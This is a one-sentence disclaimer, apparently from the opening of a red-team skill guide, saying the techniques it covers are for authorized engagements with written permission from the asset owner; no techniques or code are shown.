*This skill guide is intended for authorized red team engagements only. All techniques described require explicit written authorization from the asset owner before use.*
